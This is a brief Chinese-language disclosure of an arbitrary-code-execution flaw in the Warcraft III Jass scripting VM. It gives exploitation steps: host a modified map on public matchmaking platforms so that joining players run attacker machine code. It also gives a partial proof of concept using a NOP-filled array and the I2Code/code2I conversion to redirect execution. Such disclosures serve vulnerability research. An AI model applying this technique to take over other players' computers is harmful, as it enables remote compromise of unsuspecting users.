War3 Jass虚拟机经测试,存在严重漏洞!允许运行时动态创建并执行任意机器码 Jass属于War3为地图开发者提供的一套脚本语言,方便开发者开发或建立修改属于自己的地图。 经过推断,CS (cstrike)可能也存在此类问题。
利用方式:登陆浩方或者VS对战平台,修改某张地图(例如DOTA的地图),开启游戏,等待其他玩家进入,开始游戏,即可执行任意机器码,控制玩家计算机。
Jass语言的用处 Jass(正确地说是Jass2)是魔兽3的脚本语言, 用于控制地图的进程和行为, 是魔兽游戏和地图的基础. 正常的地图编辑中摆放的单位(Unit), 设置的触发(Trigger)等最终都会被翻译成Jass语言存在地图文件里在游戏时被调用.
POC:
set bj_meleeTwinkedHeroes[1024] = 0x90909090 set bj_meleeTwinkedHeroes[1025] = 0x90909090 ...
local code C = I2Code( code2I(function GetRandomDirectionDeg) + 0xC92D8 )
call TriggerAddAction(t, C) call TriggerExecute(t)
上图:
|